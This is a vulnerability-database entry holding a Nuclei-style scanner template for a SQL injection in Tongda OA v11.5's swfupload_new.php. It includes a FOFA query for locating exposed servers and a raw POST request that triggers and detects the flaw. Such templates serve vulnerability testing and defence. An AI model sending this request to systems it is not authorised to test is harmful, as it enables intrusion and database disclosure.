SecurityContext

tongda-oa-swfupload-sqli: Tongda OA v11.5 swfupload_new.php - SQL Injection

Classification

  • Cwe: CWE-89
  • Not known: cvss score, cvss vector, epss score, epss percentile, cpe

Metadata

  • Fofa-query: app="TDXK-通达OA"
  • Max-request: 1
  • Verified: yes

Labels

  • Name: Tongda OA - SQL Injection
  • Impact: Attackers can extract sensitive information from the database, potentially leading to further compromise.
  • Remediation: Update to the latest version of Tongda OA.
  • Vulnerability type: sql_injection
  • Vulnerability impact: information_disclosure
  • Requirement type: none
  • Labels source: securitycontext
  • Not known: requirements, from cve

```yaml

id: tongda-oa-swfupload-sqli

info:

name: Tongda OA v11.5 swfupload_new.php - SQL Injection

author: SleepingBag945

severity: high

description: |

There is a SQL injection vulnerability in the swfupload_new.php file of Tongda OA v11.5. An attacker can obtain sensitive information of the server through the vulnerability.

reference:

- http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.5%20swfupload_new.php%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html

- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/tongda-swfupload-new-sql-inject.yaml

classification:

cwe-id: CWE-89

metadata:

verified: true

max-request: 1

fofa-query: app="TDXK-通达OA"

tags: tongda,sqli,intrusive,vuln

http:

- raw:

- |

POST /general/file_folder/swfupload_new.php HTTP/1.1

Host: {{Hostname}}

Content-Type: multipart/form-data; boundary=----------GFioQpMK0vv2

Accept-Encoding: gzip

------------GFioQpMK0vv2

Content-Disposition: form-data; name="ATTACHMENT_ID"

1

------------GFioQpMK0vv2

Content-Disposition: form-data; name="ATTACHMENT_NAME"

1

------------GFioQpMK0vv2

Content-Disposition: form-data; name="FILE_SORT"

2

------------GFioQpMK0vv2

Content-Disposition: form-data; name="SORT_ID"

------------GFioQpMK0vv2--

matchers-condition: and

matchers:

- type: word

words:

- "insert into FILE_CONTENT("

- type: status

status:

- 200

digest: 4a0a0047304502200fba4c83ba2af11f027e9059bab77db244b9cfca6b3631666d507010a78b78a7022100c420b4a3e033d83b8fcdd99d518e16a7b676cd82ea4da17cd66d8a4f2084e223:922c64590222798bb761d5b6d8e72950

```